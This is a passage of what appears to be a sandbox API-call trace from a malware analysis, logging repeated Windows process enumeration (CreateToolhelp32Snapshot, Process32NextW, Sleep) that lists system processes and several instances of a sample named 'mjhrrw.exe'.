th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.792] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.793] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.793] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.794] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.794] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.795] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.796] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.796] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.797] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.798] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.798] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.799] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.800] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.800] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.801] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0233.802] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0233.802] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0233.803] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0233.805] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.805] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0233.806] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.807] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0233.807] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0233.808] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0233.808] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0233.809] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0233.809] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0233.810] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.811] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0233.811] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0233.812] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0233.812] CloseHandle (hObject=0x364) returned 1 [0233.812] Sleep (dwMilliseconds=0x1f4) [0234.469] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0234.474] Process32FirstW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.475] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.475] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.476] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.476] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.477] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.478] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.478] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.479] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.479] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0234.480] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0234.480] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.481] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.481] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.482] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.483] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.483] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.484] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.484] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.485] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.485] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.486] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.486] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.487] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.783] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.784] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.784] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0234.785] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0234.786] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0234.786] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0234.787] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0234.787] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.788] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0234.789] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.789] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0234.790] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0234.790] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0234.791] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0234.791] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0234.792] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0234.793] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0234.793] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0234.794] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0234.794] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0234.795] CloseHandle (hObject=0x384) returned 1 [0234.795] Sleep (dwMilliseconds=0x1f4) [0235.473] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0235.480] Process32FirstW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.481] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.482] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.482] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.483] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.484] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.484] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.485] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 